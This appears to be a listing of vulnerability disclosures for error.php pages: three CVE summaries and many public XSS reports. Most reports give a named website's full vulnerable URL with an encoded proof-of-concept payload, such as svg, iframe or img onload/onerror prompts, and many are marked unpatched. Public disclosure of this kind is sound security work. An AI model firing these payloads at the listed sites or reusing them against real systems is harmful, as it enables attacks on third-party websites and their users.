CVE-2018-7251: Exposure of Sensitive Information to an Unauthorized Actor

An issue was discovered in config/error.php in Anchor 0.12.3. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error such as "Too many connections" has occurred...

CVE-2017-6485: Improper Neutralization of Input During Web Page Generation

A Cross-Site Scripting XSS issue was discovered in php-calendar before 2017-03-03. The vulnerability exists due to insufficient filtration of user-supplied data errorMsg passed to the "php-calendar-master/error.php" URL. An attacker could execute arbitrary HTML and script code in a browser in the...

lidiza.com XSS vulnerability

Vulnerable URL: http://www.lidiza.com/html2012/error.php?titulo=SEGURIDAD=Necesitas+autentificarte+como+cliente+para+poder+acceder+a+esta+p%E1gina%22%3E%3Csvg/onload=prompt/openbugbounty/%3E28/openbug%20bounty/%3E&noAJAX=S Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

transpagos.net XSS vulnerability

Vulnerable URL: http://www.transpagos.net/prepagotp/error.php?mensaje=No+hay+sesion+previa%22%3E%3Csvg/onload=prompt/openbugbounty/%3E28/openbug%20bounty/%3E=12=si Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:|...

CVE-2016-2559: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the format function in libraries/sql-parser/src/Utils/Error.php in the SQL parser in phpMyAdmin 4.5.x before 4.5.5.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted query...

globalechosting.com XSS vulnerability

Vulnerable URL: http://www.globalechosting.com/validator/error.php?message=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / No...

weethet.nl XSS vulnerability

Vulnerable URL: http://www.weethet.nl/error.php?error=404=javascript:alert%28/XSSPOSED/%29 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 825674 Google Pagerank| 0 VIP website...

foxtale.be XSS vulnerability

Vulnerable URL: http://www.foxtale.be/site/error.php?url=http%3A%2F%2Fwww.foxtale.be%2Fen%2Finnovation-14.htm=--!"...

quaestor.be XSS vulnerability

Vulnerable URL: http://www.quaestor.be/site/error.php?url=http%3A%2F%2Fwww.quaestor.be%2Fnl%2Frentmeesters-5.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

lvfashion.be XSS vulnerability

Vulnerable URL: http://www.lvfashion.be/site/error.php?url=http%3A%2F%2Fwww.lvfashion.be%2F=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 20:06 GMT Vulnerability type:| XSS...

compaktuna.be XSS vulnerability

Vulnerable URL: http://www.compaktuna.be/site/error.php?url=http%3A%2F%2Fwww.compaktuna.be%2Ffr%2Fplaspactuna-125.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

pinocchio1.be XSS vulnerability

Vulnerable URL: http://www.pinocchio1.be/site/error.php?url=http%3A%2F%2Fwww.pinocchio1.be%2Fnl%2Fhome-1.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

vyf.be XSS vulnerability

Vulnerable URL: http://www.vyf.be/site/error.php?url=http%3A%2F%2Fwww.vyf.be%2Fnl%2Fgolfsurf-kalender-306.htm%3Fm%3D1%26y%3D2038=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability...

argonselectie.be XSS vulnerability

Vulnerable URL: http://www.argonselectie.be/site/error.php?url=http%3A%2F%2Fwww.argonselectie.be%2Fnl%2Fvacatures-2.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 20:06...

tordale.be XSS vulnerability

Vulnerable URL: http://tordale.be/site/error.php?url=http%3A%2F%2Ftordale.be%2Fnl%2Fvacatures-219.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...

labadoux.be XSS vulnerability

Vulnerable URL: http://www.labadoux.be/site/error.php?url=http%3A%2F%2Fwww.labadoux.be%2Fnl%2Fdj-desperado-106.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

vr-bo.be XSS vulnerability

Vulnerable URL: http://www.vr-bo.be/site/error.php?url=http%3A%2F%2Fwww.vr-bo.be%2Fnl%2Fsitemap-17.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...

deroeve.com XSS vulnerability

Vulnerable URL: http://www.deroeve.com/site/error.php?url=http%3A%2F%2Fwww.deroeve.com%2Fnl%2Fpage-219.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...

wizion.com.kh XSS vulnerability

Vulnerable URL: http://www.wizion.com.kh/error.php?msg=RK%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

betpractice.es XSS vulnerability

Vulnerable URL: http://www.betpractice.es/error.php?msg=IRK%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3C%3E%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 01.12.2015 Latest check for patch:| 01.12.2015 22:10 GMT Vulnerability type:| XSS Vulnerabilit...